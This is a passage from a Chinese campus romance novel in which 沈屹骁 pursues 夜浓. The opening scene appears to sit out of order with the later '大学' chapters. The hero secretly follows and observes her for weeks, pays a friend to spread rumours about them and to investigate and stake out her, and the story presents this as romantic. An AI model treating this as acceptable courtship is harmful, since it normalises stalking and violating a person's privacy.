夜浓眼睫颤了一下。 心里乱七八糟的,她没有时间理,第一反应就是:“有什么事你就在这说吧。” 沈屹骁当然知道她不想在大庭广众之下和他有过多的接触。 但没办法。 他想。 他恨不得让所有的人都看见她和他同坐一桌。 恨不得让所有人都知道,他沈屹骁喜欢她。 可是他那么迫切地想和她站在一起,换来的却是她的唯恐避之不及。 行,那他就再给她一次选择的机会。 “确定要在这里说?” 因为他说的是想请她帮忙的事,所以夜浓不觉得这个场合有什么不妥。 相反,和他坐在一起,才会更加让人议论。 所以夜浓一点迟疑都没有:“嗯,你说。” 沈屹骁:“......” 行,她让他说的。 “晚上要不要去看电影——” 他刚一说完,夜浓就抬手捂在了他嘴巴上。 “你疯啦!”她整个人都慌了,完全没注意到自己下意识做出的动作比和他同坐一桌更惹眼。 耳边的嘈杂声突然降了下来。 看见从他眼睛里跑出来的笑意,夜浓愣了一下,默了两秒,她才反应过来似的,手从他嘴上拿下来的同时,她人也迅速转过了身。 在不知多少双眼睛的注视下,她几乎是用‘逃’的离开了食堂。 沈屹骁追出来的时候,夜浓已经跑下了台阶。 被他高大的身影和一双长臂挡住去路,夜浓重重剜了他一眼后转身。 沈屹骁不可能让她走。 她往右跑,他就往左拦。 她往左溜,他就往右堵。 “你到底要干嘛!” 又气又恼下,她樱红的唇微微噘着。 沈屹骁压着嘴角的笑,故作委屈:“不是你让我说的吗?” 夜浓嗓子里一噎:“...所以都怪我喽?” 沈屹骁想都没想就摇头:“怪我。” “还说会止住流言,”她怨道声明显:“我看你是恨不得让那些流言越传越厉害。” 说到这儿,夜浓突然眼角一眯:“那些谣言该不会是......” 沈屹骁心脏猛然一紧,都不等她说完就急忙否认:“不是。” 夜浓歪头看他:“我说什么了你就说不是?” 刚刚一紧张,差点露出破绽。 沈屹骁迅速转移话题:“今天是真的有事找你帮忙。” 夜浓剜了他一眼后,把脸一偏:“不帮。” 别的事,沈屹骁没把握,但这件事,他倒是有一千一万个信心,不只有信心,还能把她此时的火气瞬间给灭下去。 但是他以退为进:“那行吧,那我再问问其他人。” 说完,他掏出手机,指尖滑动两下后,他又抬头。 “你知道这附近哪里有宠物店吗?” “宠物店?”夜浓微微一怔:“白梨巷那边有一家。” 见他眉头紧锁,夜浓又问:“你找宠物店干嘛?” 沈屹骁往左抬了抬下巴:“食堂后面有几只流浪猫,我有点事要离开几天,想找个人帮我喂一下。” 竟然是他? 夜浓不可置信地看着他,嘴角几度张开才发出声音:“花园边的猫粮...是你放的?” 沈屹骁脸上的讶异不比她好到哪里去,“你怎么知道?” 夜浓:“......” 怎么会这么巧。 这人...... 倒不是她以貌取人,实在是他给她的感觉,有或者是印象,让她无法和「爱心」两个字挂上勾。 光是想象他蹲在那儿给猫喂食的画面,夜浓就觉得很违和。 不过夜浓也不是对方随随便便两句话,就会让她生出信任的人。 当然,从她质疑眼神里,沈屹骁也能感觉到她的半信半疑。 “你能帮我吗?”沈屹骁问:“如果能的话,我寝室里还有一袋猫粮,我去拿来。” 夜浓心里的顾虑就是被他这句话打消的。 不过,一码归一码。 夜浓说:“我可以帮你喂,但是你也得答应我一件事。” 答应她什么? 以后看见她要保持距离,还是说,看见了要当做没看见? 想得倒是美。 沈屹骁根本不给她提要求的机会。 “所以在你眼里,什么事都可以被当作交换的筹码吗?” 夜浓愣在原地。 沈屹骁狠着心朝她笑了笑。 狠着心转身。 “十、九、八、七、六——” 五下,他就只倒数了五下,刚刚还狠心势必跟他划清界限的人就跑到了他身前,拦住了他的路。 在她樱红的唇几度抿合里,沈屹骁在心里总结了今天在她身上发现的各种小习惯和喜好。 她不吃香菇。 疑惑不解的时候喜欢拧眉。 吞吐迟疑,心有愧疚时会咬唇。 除了这些,还有—— 她腰很细,比他肉眼看到的要细很多。 她耳朵后有一颗很小很浅的小痣。 指腹很软,掌心很薄。 她凶起来比没有情绪的时候要可爱。 独属于她的个人属性刚被沈屹骁在心里罗列完,她的声音也刚好响在他耳边。 “我收回我刚刚说的话。” “流浪猫,你就放心交给我,我会照看好它们的。” “之前对的态度有些不好,我向你——” “对不起。” 沈屹骁将她还没有来及说出口的三个字说了出来。 夜浓被他突如其来的三个字听得一怔:“你、你干嘛——” “我是男人。” 他是笑着的,语气里有玩笑,却也不乏认真:“在我这,你不可能有错。” 大学 就在夜浓眉心越蹙越紧, 刚要张口质问的时候,一直‘盯’着她看的人先开口了—— “你能不能小点声?” 夜浓微微一怔,刚想说“我说什么了吗”的时候, 身后卷来一阵凉风,她下意识扭头,然后就见一个黑T黑短裤的男生叉腰, 一副气急败坏的模样。 “我跑楼上找了你一圈,你倒好, 在这坐着?” 沈屹骁看着齐祯的同时, 视线里也盛着那张怔愣里又透着几分羞窘的脸。 这是误会他刚刚是在说她? 沈屹骁眼里闪过一瞬不易察觉的笑, “我怎么知道你是上去找我?” 随着他话音落地, 原本定在自己脸上的那双眼神也别开了。 眼看夜浓转过身出门,沈屹骁也下意识站起身。绕过餐桌,刚越过齐祯身侧,臂肘就被他攥住了。 “跟你说话呢!” 沈屹骁把胳膊往后一抽:“有什么好说的?” 齐祯终于瞧出了他的不对劲,“你今天反常啊!” 沈屹骁瞥他一眼:“门没关。” 齐祯条件反射就低头往自己的□□看。 “......” 他今天穿的是短裤, 哪来的‘门’。 齐祯几个大步追到门口,五六个台阶往下一看, 顿时有种俯瞰众生的顿悟。 这厮, 难怪昨天跟他打听韶观远呢, 原来打的这主意。 还好意思说人家鬼鬼祟祟跟在人女孩子身后。 齐祯嘴角勾出坏笑, 扯起嗓门就喊—— “夜浓!” 沈屹骁顿时倒吸一口气, 迅速转过身来的下一秒, 夜浓也循声回头。 齐祯看笑话不嫌事大地朝她挥了挥手:“没事,刚刚忘了和你打招呼了。” 夜浓像看个精神病患似的,看了他一眼就转过了身。 在沈屹骁那双恨不得将他碎尸万段的眼神里,齐祯慢慢悠悠地踩下台阶走到他面前。 “难怪不让我还钱了呢?我刚刚要不喊她一声, 你是不是还准备一路跟去人家女生宿舍?” 见他不说话,齐祯更得寸进尺了。 意味深长的一双眼,上上下下地打量着他:“我说大周末的怎么来学校了呢,还跑食堂来,”他抬手往后指了指:“你这是第一次进来吧?” 沈屹骁沉着双眼,就这么冷阴阴地看着他。 虽说他眼里警告明显,但生平第一次能掐到他软肋,齐祯舍不得放过。 “还真以为你两脚踏进佛门了呢,原来也有春心动的——” 沈屹骁抬腿就是一脚,好在齐祯反应快,往旁边一躲。 “你看你,我还没说什么呢,你就急成这样。” 沈屹骁懒得再搭理他,转身就走。 齐祯就像块膏药似的,跟在他旁边。 “你说你喜欢谁不好,喜欢她,你这不是给自己找堵吗?” 沈屹骁余光瞥他一眼。 齐祯忙解释:“我没别的意思啊,主要就是......你知道咱们学校有多少人追她吗?” 沈屹骁还真不知道。 主要是他以前压根就不关注这些。 “咱不说别的,就那个韶观远,追了她两年了,一点下文没有。” 沈屹骁双手抄兜,像是随口一问:“怎么追的?” “还能怎么追,追人的招数你就算没用过,还能没听过?” 不等沈屹骁去想那些招数,齐祯就在那掰着手指头给他一一列举了:“吃的、喝的、花,包括去食堂吃饭给人家占位置,一个大男人,口袋里整天揣着包纸巾——” “纸巾?”沈屹骁听不懂了:“追人还要纸巾?” “给人家擦嘴啊!” 沈屹骁怔了怔:“...你不是说没追上吗,没追上还能让他干这种事?” 齐祯给了他一记白眼:“是让人家擦,不是给人家擦!” 沈屹骁:“......” 当然,齐祯跟他说这些,想表达的重点是—— “反正那女的挺难搞的,你还是离远点吧。” “难搞,”沈屹骁笑了,嘴角挂着抹明晃晃的嘲讽:“这话是你说的,还是韶观远说的?” 齐祯手一挥:“咱们学校哪个追过她的人不这么说。” 沈屹骁嗤笑一声,语气尽是不屑:“自己没本事,却反过来说人家难搞?” 齐祯争不过他,索性顺着他话跟他唱反调:“那是,你沈大少爷一出手,还有什么追不到的人吗?” 沈屹骁懒理他的阴阳怪气:“跟韶观远说,让他别废力气了。” 齐祯愣了一下:“什么意思?” “你说什么意思?”沈屹骁讳莫如深地看了他一眼。 “你、你还真要追她啊?” 沈屹骁没说话,但无论表情还是眼神,都写着:你看我像在开玩笑? 但是齐祯也没开玩笑,“你知道自己有多少个情敌吗?” 这天之前,沈屹骁的确不知道,但是这天之后,从他开始留意之后—— 成群结伴去食堂的女孩子里,似乎只有她是自己。 拿着两个透明色的饭盒,刚一走进食堂,就有两个男生喊她的名字。 她却像没听见似的,目不斜视地往打饭窗口去。 每一个窗口都在排队,她不声不响地走到其中一个队伍后,刚一站稳,又有人喊她的名字。 可她还是那般,充耳不闻,别说循声回头,就连眼皮都不抬一个。 齐祯反手拍在沈屹骁的胳膊上:“看见了没,理都不带理的。” 沈屹骁不觉意外:“为什么要理?” “礼貌懂不懂,人家喊你,你起码回个表情吧。” 沈屹骁却不这么认为,“就这帮男的,理了,岂不是给他们脸了?” 齐祯掐着他这话,笑得一脸坏:“所以你又凭什么认为人家会理你?” 见他不说话,齐祯更来劲了。 “要不要赌一把?” 「赌」最能激起男人的胜负欲。 以齐祯对他的了解,他肯定二话不说就说好,结果除了接到他一记冷眼外,还有两个冷冰冰的字眼。 “无聊。” 齐祯气笑一声:“直接说你没把握不就得了?” 沈屹骁的确是没什么把握,毕竟连着两次都吃了瘪。 所以他改变了策略。 “让你跟韶观远带的话,你带了吗?” 齐祯愣了一下:“这话你让我怎么说?” 他可不是个长舌头。 沈屹骁抬手在他肩膀拍了拍:“那你就跟别人说。” 见他一脸茫然,沈屹骁站起身:“传话这种事,还需要我教你?” 齐祯不是个喜欢传话的人,但被沈屹骁这位当事人允了口,而且还收了他一笔转账,这不就等于拿人钱财替人办事? 齐祯不负他所望,不过一周,学校里就开始流言四起。 开始听到那些谣言的时候,夜浓只当一个笑话来听。 沈屹骁追她? 怎么可能,她和那位大少爷可是一句话都没有说过。 既然是空穴来风,所以她压根就没有理会。 没过几天,宿舍里也开始议论这事,不过室友都没有当她的面说。 那天是周五,夜浓打完水回来,走到门口,刚要推门—— “你说,那些谣言会不会是她自己传的?” “我也觉得是,不然这都半个月过去了,沈屹骁要是真在追她,不可能一点动静都没有。” “就是,之前那个刘铮追她,都能送几万一条的项链,沈屹骁那样的家世,追起人来,不得送车送房啊!” “所以她故意造谣,难不成是想引起沈屹骁的注意?” 门口,夜浓听笑了,手轻轻一推。 刚刚还聊得热火朝天的几人,见她进来,顿时都安静地趴回到自己的桌前。 夜浓不是个喜欢解释的性子,没做过的事情,她更是懒得争辩。 但是自己被她们背后议论也不是一次两次了。 “自己散播谣言很无聊,背后无中生有更无聊。” 说完,她放下水瓶,拿着包出了宿舍。 谈不上心情不好,但被谣言缠身,终究还是让她心里有些憋屈。 但是夜浓是一个很会排解负面情绪的人,恰逢周五,她就去了离学校不远的白梨巷。 白梨巷是一条满地油垢,但却香味四溢的老街。 三十九元一个人的自助旋转火锅,夜浓点了一个鸳鸯和一个辣锅。 她不太能吃辣,但那种被辣得全身出汗的感觉,会让她觉得很畅快。 火锅店门口有棵香樟树,沈屹骁站在树下,在指间那根点燃后只吸了一口的烟烫到了皮肤,他才收回视线。 烟掐灭之后,他径直走进火锅店。 高出椭形餐桌的运输台,将对面的人隔离开。 沈屹骁点了一份鸳鸯锅,在对面传来一声呛咳的时候,他抬了下头。 然后就见对面被咳得脸涨红的人站起身,匆匆跑去了收银台。 沈屹骁歪头,视线追过去。 “老板,之前那种橙汁呢?” “那个卖完了,货还没送过来,你看看其他的。” 沈屹骁就这么看着她在冷藏柜里找了一圈,以为她会退而求其次,结果却见她跑了出去。 这是去其他店买去了? 果然,没两分钟的功夫,沈屹骁就见她拿着两瓶橙汁回来。 出门前微微噘着的嘴巴不仅平了下去,唇角还微微上扬。 两瓶橙汁就可以满足成这样? 沈屹骁无声失笑。 半个小时,在夜浓起身离店后,沈屹骁也站了起来,不过他没有径直出店,而是走到对面。 番茄和辣锅。 喜欢吃番茄? 沈屹骁嘴角提笑之余,又看向旁边被喝空瓶的两瓶橙汁。 看着瘦瘦的,胃倒是不小。 出了店,沈屹骁左右扭头张望了两眼。 往来人潮里,光是一个背影就能抓人眼球。 沈屹骁抬脚跟上去。 两三米宽的街两边,都是小摊。 夜浓拂着裙摆,在一个摆满各种卡通人物的小摊前蹲下。 “老板,这个多少钱?”夜浓指着一个蒙奇奇。 “八块,两个十五。” 夜浓抬起头,“四个二十五卖吗?” 老板是个年轻小伙,在她仰头看过来的视线里,表情呆了两秒:“...拿、拿去吧。” 他刚一说完,旁边就传来一句:“那你刚刚还卖我三十,找我五块钱。” 隔着三四米远,沈屹骁偏着脸,笑得肩膀直抖。 之后,沈屹骁又跟在她身后进了一家五元店。 不到二十平的小店里,挤满了人,沈屹骁也不知道自己为什么要凑这热闹,侧身挤进去。 凭着身高的优势,沈屹骁轻巧一个垂眼,就能看见她拿起并放下的每一个小物件。 梳子、发卡、小勺、贴纸...... 什么都有。 上午齐祯问她,要不要帮他打听她的喜好。 沈屹骁一点都不信打听来的东西。 因为半个月跟下来,他发现他看见的她,和齐祯口中的她,一点都不一样。 每天食堂里都有男生给她占位不假,但她却从来都不坐。 筷子一放下,的确是有人递纸巾,但她却从来都不接。 去水房打水,有男生去接她手里的水瓶,她更是眉眼一沉,手一背。 去图书馆就更不用说了,她人往那一坐,没一会儿的功夫,桌上又是奶茶又是零食的,结果她看都不看一眼。 上周沈屹骁更是亲眼看见刘铮送了她一个最低也要四位数起步牌子的鞋。 结果她可好,一声“谢谢”加一声“不用了”之后,她身子一转。 齐祯说她是眼光高,看不上那些男生送的东西。 沈屹骁可不这么认为。 她骨子里应该有一种傲气,这种傲气,从她那双明眸善睐却含缕缕冷清的眉眼里就能看出来。 就是不知道,如果以后他送她贵一些的东西,她是不是也不会收。 拧眉间,这段时间总是被他在心里默念的两个字被一道男声喊了出来—— “夜浓!” 沈屹骁抬头看过去,还没看清男人的正脸,就见离他两米远的人‘蝴蝶展翅’般地‘飞’了过去。 沈屹骁:“......” 所以她眼里之所以容不下别的男生,是因为...... 有男朋友了? 大学 平时恨不得离那些男生几米远的人, 今天可好,还挎上人家的胳膊了。 沈屹骁站在原地。 忌妒像是千万只蚂蚁啃噬在他心头,让他眼底眸色沉了又沉。 眼看两人依偎着走远, 沈屹骁强压着跟上去的念头,转了身。 来时月好景也美,同样的一条路再往回走, 连风都刺眼。 沈屹骁站在齐祯的宿舍楼下,一点也没压着自己的脾气:“你给我下来。” 被他吼的, 齐祯手里的手机差点掉到了地上。 急匆匆跑下来, 大气都没喘匀。 “怎么了这是?” 沈屹骁眸色沉的比头顶的夜幕还要深, “她有男朋友, 你不知道?” 齐祯瞳孔微微一震:“你听谁说的?” “我亲眼看见的!” 三年了都没听说那女的有男朋友,这人可好,刚一准备追就惨遭人家有男朋友了? 齐祯好奇心膨胀:“咱们学校的?” “我哪知道!” “那你在哪看见的?” 沈屹骁一点都不想回忆二十分钟前看到的那一幕,“白梨巷。” 沈屹骁脸部轮廓硬朗,一气一恼间, 浑身上下透着股说不出的野劲儿。 难得见他有如此激动高亢的情绪,齐祯瞧着他那双恨不得吃人的一双眼, 嘴角憋笑:“有男朋友怎么了?” 齐祯一个一个地竖起手指头:“撬墙角、横刀夺爱, 棒打鸳鸯散, 三个你随便选。” 沈屹骁听得一时无语, 默了两秒, 他眉梢突然一挑:“那你就去给我查。” 齐祯:“......” 他是他兄弟, 又不是他跟班,凭什么帮他做这种偷鸡摸狗的事儿。 但是这么好的机会,齐祯怎么可能放过 :“那可就是另外的价钱了。” 沈屹骁一个犹豫都没有,抬起手里的手机, 指尖几个轻点后,他把屏幕亮过去:“我还可以再加一个零。” 那也就是说,他干的就不是查人家男朋友的底这么简单的事了。 吗的。 之前他穷的吃不上饭的时候,也没见这么大方,如今为了个女人...... 齐祯闭眼一个深呼吸后,朝他竖起大拇指:“你可真够沈屹骁的。” 如数收了款,齐祯的任务也随之分配下来。 “今晚你就去她楼下蹲着。” 去女生宿舍楼下蹲点? 蹲什么? 反应过来他的用意,齐祯差点爆粗口:“难不成我在那蹲着,还能阻止得了她跟男朋友去外面开房?” 沈屹骁一脚扫他腿上。 齐祯疼得门牙都龇出来了:“有气往人家男朋友身上撒去,你在我这横什么横!” 沈屹骁不理他的气急败坏,直接下了通牒:“二十四小时,过了这个点,你不把那男的查个底朝天,你就等着你爸来学校找你吧!” 听听,这说的是人话吗? 齐祯手指着他转身的背影:“沈屹骁,这事完了咱俩就绝交吧!” 一个大男人,把绝交挂嘴上。 沈屹骁回头看他:“不用养女朋友了?” 齐祯:“......” 沈屹骁下巴往西一抬:“现在就去。” 齐祯咬了咬牙:“我上去换条裤子行不行?” 沈屹骁往他腿上的短裤看了眼:“五分钟?” 一想到大周末的不能睡,反倒要去帮他盯梢,齐祯眼里就直冒火星子。 “我去了,那你呢?” 沈屹骁凉着一双眼,声音却漫不经心:“我不缺钱。” 齐祯顶了顶腮,笑了。 行,可真行。 真当他齐家没钱是吧! * 五月的晚上,天虽然不热,但蚊子却不少。 齐祯蹲在二号宿舍楼大门口的路灯下,手里的烟点了一根又一根,不是烟瘾,纯粹为了驱蚊。 眼看过了十点,还不见那位始作俑者回来。 齐祯索性趁着这时间挨个打电话。 十几个电话拨出去,什么都没打听到不说,一个个还都反过来问他,夜浓的男朋友是哪个。 他要是知道,还能摊上今晚这破事? 齐祯干脆不问了,不是让他在这盯着吗? 行,那他索性就等那位当事人回来,当面问个清楚。 结果这一等就等到了凌晨一点。 把齐祯都等得没脾气了。 一不小心打了个盹,两个膝盖一歪,差点睡倒在地上。 再看一眼时间,都凌晨两点了。 也不知道那位有没有回来,如果回来了,他这后半夜是白等,如果没回来,那这个点也不会再回来了。 齐祯撑着僵硬的膝盖站起身,扬长而去。 结果刚一到宿舍楼下,某人的电话就打来了。 一旦被他先开口,自己就会处于下风失去主动权。 所以电话刚一接通,齐祯就扯着嗓子:“没回来!” 虽说这段时间以来,沈屹骁白天都会在学校,但晚上他依旧回自己的公寓。不过这会儿,他人却在大门口的车里。 “你回去睡吧。” 齐祯被他低软的声音听愣住:“...不、不等了?” 这个点了还没回来,今晚肯定是不会回来了。 一想到她跟别的男人在外面过夜,那些乱七八糟的画面就控制不住的往他脑子里钻。 沈屹骁闭眼靠着椅背,“回去睡吧。” 他情绪低落成这样,反倒让齐祯有点不放心了。 “你在哪?” 若说自己在学校门口,那小子肯定二话不说就过来,沈屹骁现在心里烦闷得厉害,既不想让他担心,也想自己静静。 “在公寓。” 齐祯眉心拧着,将信将疑:“真的?” “嗯。” 齐祯看向女生宿舍的方向。 可以啊那位。 这还没怎么着呢,就能拿捏住他兄弟的情绪了,这要真在一起了,还不骑他兄弟头上撒野? 宿舍也不回了,齐祯往台阶上一蹲,又开始挨个地打电话。 * 每到周五,室友们都会聊天聊到深夜,你一句我一句里,时不时都会带上名字,但却从来没有“夜浓”二字。 虽说夜浓早已习惯,但这种不算排挤的刻意忽略,终究会让人心里不太舒服。 所以每到周五,夜浓都会以回家为由不回寝室。 可是相比寝室,那个家更让她觉得压抑。 离白梨巷不远有个环境还不错的网吧,里面有不少的单间,夜浓经常会去凑合一晚,然后在第二天上午再回寝室。 以往的周六,室友们要么会在上午出门,晚上很晚回来,要么一夜不归,直到周日下午才回。 夜浓特意选在十一点的时候才回寝室,室友们果然都不在。 谁知一个刷牙洗脸的功夫,夜浓刚一从阳台的卫生间里出来,三个室友竟然全都回来了。 在三双眼睛齐齐看过来的视线里,夜浓眉心微蹙:“怎么了?” 三个室友,就数李晓琪和她说话最少,今天却意外地最先开了口。 “夜浓,你和沈屹骁...在一起了呀?” 本就微蹙的眉心,听她这么一说,更是蹙紧。 夜浓第一反应不是否认,而是:“你听谁说的?” 李晓琪和其他两个室友相视几眼后,回得闪烁其词:“商学院都这么说,说你昨晚是在他公寓...过得夜。” 可真是离谱,之前传他追她,现在又传她在他那过夜。 重点是,今天是周六,距离昨晚也不过半天的时间,这谣言传的是不是有点快的离谱? 夜浓扬唇好笑一声:“你说个名字,我也去问问。” 李晓琪顿时把唇抿了又抿:“我们也是好奇,又没什么恶意。” 没有恶意,但也绝对没安什么好心。 夜浓懒得再同她说,将手里的刷牙杯和洗面奶放回桌上后,她抓着梯子扶手上了床。 耳边出奇的安静,夜浓闭着眼都能想到下面的三个人在用眼神交流。 随着手机震动声传来,一声没有被刻意压低的“喂”声后,房间里再度陷入一阵安静里。 安静到,能听见电话里是个男声。 接着,一阵被刻意放轻的脚步声传来。 然后,是门被轻轻带上的声音,以及被刻意压低的一句—— “不是沈屹骁吗?” 给李晓琪打电话的是他男朋友的朋友。 无名小卒,在齐祯好一圈的打听之后才打听到的一个人。 这会儿,齐祯就在这个人的旁边。 在刚刚李晓琪的那句回答之前,齐祯让这个男生问的是:你知道夜浓男朋友是谁吗? 李晓琪就回了一句:不是沈屹骁吗? 电话开的是免提,齐祯一听她这么说,顿时翻了个白眼。 “你问她,昨晚她是跟谁出去过得夜。” 结果免提声里传来的还是同样的话:不是沈屹骁吗? 齐祯都听笑了,直接对着话筒那边嚷:“你听谁说的?” 真要是和他那位兄弟过夜去了,他至于一夜不睡打听这事? 听出话筒那边换了个人,李晓琪愣了一下,不过这不是重点。 她和回答夜浓时一样:“商学院那边都这么说。” 齐祯嗓子里一噎。 哪个好事精,竟然敢这么瞎传。 重点是,昨晚发生的事,这么快就在商学院那边传开了? 默了会儿,齐祯突然想起来:“她回来了吗?” 李晓琪整个人思路也有点乱:“谁呀?” “你说谁?”齐祯调子一提:“夜浓!” “...回、回来了,”说完,李晓琪才慢半拍地反应过来:“你谁啊?” 齐祯懒得再回,手机挂断后往那男生怀里一扔:“听说你女朋友平时对夜浓阴阳怪气的,有这回事?” 对方把头摇成拨浪鼓:“她不是我女朋友,是、是我一朋友的女朋友。” 齐祯没功夫理这其中的关系:“那你就跟你朋友说一声,以后对人家客气点。” * 能问的人都问了,结果问出来的对象却是沈屹骁。 总不能拿这三个字去交差吧! 齐祯郁闷了一下午。 最后实在没辙了,他索性豁出去。 “哪呢?” “公司。” 短短两个字,也听不出他情绪,齐祯装腔作势地“咳”了声:“帮你问了,她没男朋友。” 以齐祯对他的了解,又或者逻辑性,他下一句肯定会问—— “那昨晚和她在一起的男人是谁?” 早有准备,所以齐祯胡诌的脸不红,但心跳:“她亲戚家的孩子。” 在感情方面,齐祯的道德感没那么高。 对他来说,有男朋友也不算事,喜欢,抢了就是。 能抢来,那说明是自己的本事。 抢不来,那说明有缘无分。 不过这是他的爱情观。 至于沈屹骁...... 生平第一次春心动,齐祯对他这方面还不了解。 总之,他得先让自己过了这关再说,不然他就是想帮也不好下手。 “不过说来也奇怪,”为了分散他注意力,齐祯随口似的提了一嘴:“打听这事的时候,你知道我听到了什么?” “什么?” “现在四处都在传,说她昨晚是被你带出去过夜了。” 隔着手机,齐祯看不见他悄然上翘的嘴角,只听他轻“哦”一声,接着又漫不经心地问了句:“传的厉害吗?” 齐祯暂时还没听到,不过为了能让他有个好心情,齐祯扬着调:“何止厉害,都传疯了。” 大学 两天的周末一结束, 周一,沈屹骁住进了学校宿舍。 齐祯闻声赶来,“你这是准备近水楼台了?” 见他盯着另一张空床位, 沈屹骁一语掐灭他心里的小火苗:“想都别想。” 齐祯:“......” 幸亏自己没说出来,他嗤了声:“小人之心。” 他转了个身,没话找话似的:“以后准备吃住都在学校了?” 沈屹骁也不理他, 从并列打开的三个行李箱里,一件件地将衣服拿出来挂进衣柜。 “所以接下来你怎么打算的?” 沈屹骁抬手往门后一指。 齐祯:“......” 他就不信撬不开他那张嘴。 “听说你喜欢的那位, 跟几个室友关系不太好。” 不听声, 但是看见他手里的动作停了一下。 齐祯把嘴角的笑抿下去, 继续。 “听说她爸妈离婚, 她——” “谁让你查她的?” 一不小心就踩到了他的雷区,齐祯解释:“不是你让我查他男朋友的吗,这不就顺带着一块儿打听到了?” 见他脸上有了愠色,齐祯迅速岔开话题:“晚上要不要我帮你把她约出来?” “不需要。” 不用就不用,非得说「不需要」这种伤人的字眼。 看出他兴致不高, 齐祯也不给自己添堵,“行, 那你什么时候有需要说一声。” 想到自己掏心掏肺的两天周末喂了狗, 齐祯心里又有点不爽。 他不爽, 也得让某人不爽一下, 走到门口, 他回头:“听说她周五晚上经常不回宿舍, 然后周六回来睡一整天。” 他故意“啧”了声:“你说——” 不等他话说完,被线缠着的充电器,如同子弹脱膛似的飞了过来。 “啪”的一声响里,齐祯心里也跟着爽了:“晚上见。” 学校现在谣言四起, 走到哪都能听见沈屹骁和自己的名字绑在一起。 夜浓懒得听,索性就用耳机隔离掉所有外界的声音。 不理会不解释是她对待这些空穴来风无中生有的谣言一贯的态度。 只是偶尔的,脑海里会闪过「沈屹骁」这三个字。 偶尔的,会对这个人有些好奇,好奇—— “夜浓!” 耳机里的一首歌刚好放完,夜浓循声抬头,是李晓琪,和她一起朝自己招手的还有另外一个室友。 真是太阳打西边出来了,竟然会在食堂跟她打招呼。 夜浓走过去,敷衍又不失礼貌地笑笑:“怎么了?” 李晓琪往后退了一步,把身前的位置让出来,“你站这儿来。” 在她身后的队伍都快排到门口了,夜浓摇了摇头:“不用了,插队不好。” 不过一个转身的功夫,李晓琪嘴角的笑也一秒平了下去。 “不识好歹。” 蒋蒋用胳膊肘碰了碰他:“你小点声。” 李晓琪抱着胳膊,一脸的不屑:“不就跟人家睡了一夜吗,还真——” “不就?” 又凉又淡的声音,却像一根针,扎进了李晓琪的喉咙里。 让她喉咙哽住的何止是这道声音,还有站在半米之隔的人。 沈屹骁就这么垂着眉眼,看着面前这个个子不高,舌头却挺长的女生。 把李晓琪看得后脊凉气直蹿,好几个吞咽后,她才结结巴巴地开了口。 “对、对不起。” “这话不该对我说。”他声音淡得出水,可就是有一种咄咄逼人的气势。 在他强势又冷漠的眼神下,李晓琪把唇抿了又抿:“我、我回头就、就跟她道歉。” 周围越来越多双眼睛看过来,沈屹骁依旧站在原地,他下巴一抬:“现在就去。” 李晓琪窘红着脸,扭头往队伍后勾了勾脑袋。 “三号窗口。” 说完,沈屹骁抬脚从她身旁越过。 不见他手里有饭盒,李晓琪以为他会出食堂,心里刚一窃喜,却见他走到不远处的一个餐桌前坐下。 对面两个男生见状,立马端起餐盘溜了。 李晓琪算是看出来了,今天这个歉不道,那人是不会善罢甘休的。 偌大的食堂因为沈屹骁的举动,像是被分割成一水一火无法交融的两块区域。 相比一到六号窗口那边嘈杂的议论声,七到十二号窗口这边的窃窃私语声就显得尤为安静。 沈屹骁抱着胳膊八风不动地坐着,极具强势的一双眼,就这么盯着李晓琪一步步往三号窗口走。 直到她走到夜浓身侧。 距离不算近,沈屹骁眯起眼角盯着夜浓脸上的表情。 有意外,但转瞬即逝后,她表情就回到了平时的淡淡然。 沈屹骁嘴角浮出笑。 挺好。 没有因为对方一句对不起,就受宠若惊的说一声没关系。 随着李晓琪转过身来,夜浓那高挑的身材也极为张扬得显露在队伍中。 一米七? 肯定是超过他肩膀了,就是不知道面对面地站着,额头能不能抵到他下巴。 在此之前,沈屹骁一向都对女孩子的身高无感,可随着她的出现,他对异性的喜好都因为她而有了具象。 像她这般高,像她这般瘦,鼻子像她那般挺,眼睛像她那般大。 面对异性,也要像她这般爱搭不理。 当然,他要的不是像,而是就要她。 沈屹骁站起身走过去。 这段时间,他总会隔着不远不近的距离跟在夜浓的身后。 不知是她防备心太低,还是说,周围的一切人和事都引不起她注意,这都快小半个月了,她好像一丁点都没有发现他的存在。 在不知多少双眼睛追着看的视线里,沈屹骁排在了三号窗口的队伍后。 他也不插队,拍了拍站他前面男生的肩膀,手指比划一下后,对方立马绕到身后,沈屹骁也不白占人便宜,扭头,“二楼五号窗口,点完菜报我名字就行。” 对方听了直摇头:“不用了不用了。” 沈屹骁就只管把话说到,至于对方去还是不去,那他不管。 接着,他又拍了拍前面的一个男生的肩膀,同样的动作同样的话,就这么一直‘插队’到和夜浓只隔了一个女生。 对方怯怯回头看了他一眼,“需要我——” 沈屹骁一边看着他喜欢的那只乌黑的小脑袋,一边做了一个“嘘”声的手势。 明目张胆,却又小心翼翼。 他用行动破了学校的谣言,证明是自己的有心靠近。 偏偏他心心念念的那个人,塞着耳机垂着脑袋,活在自己的世界里。 眼看轮到她打饭了,沈屹骁歪头看过去。 竟然打了两个饭盒的鲫鱼汤。 这么爱吃鱼? 沈屹骁视线追着她转过身的背影。 “你饭盒呢?” 窗口里打饭师傅的声音打断了沈屹骁的思路,他说了声抱歉后,空着两手离开了队伍。 眼看都要走到食堂门口了,齐祯和另外两个男生走了进来。 站他右手边的男生没看路,直冲冲的,要不是齐祯眼疾手快地伸出胳膊挡住他路,估计能和对面的人撞个满怀。 结果胳膊刚一收回去,却发现对面的人是夜浓。 齐祯眼皮一抬,然后就看见了跟在人家身后的大尾巴狼。 “沈屹骁!”他笑得焉坏:“这么巧。” 在沈屹骁的猝不及防里,夜浓转过头来。 生平第一次,沈屹骁体会到了做贼心虚,心脏砰砰,恨不得要从他胸腔里跳出来一样。 但他就是有一种内心动荡不安,面上却看不出丝毫端倪的本事。 目视前方地越过夜浓的肩膀走过去。 在他漫不经心的眼神里,只有他自己知道,即便他瞳孔里的焦距没有对准她,可余光里却盛满她的脸。 走到齐祯的身边时,沈屹骁停了下脚,虽然没说话,但掌心在他肩膀上不轻不重地拍了两下。 就这么把齐祯拍的,直接转身追了出去。 被他丢在原地的两个朋友,双双抬起手,朝夜浓小幅度地招了招的同时,还“嗨~”了一声。 同样都是打招呼,但却和平时那些想和她套近乎的男生很不一样。 有一种很局促的礼貌。 局促到那勉强笑着的嘴角比哭还难看。 夜浓忍住笑走出去,刚好看见不远处,刚刚看都没看她一眼的人,一脚扫在那个男生的腿弯处。 看着挺沉稳一人,没想到脾气还挺大。 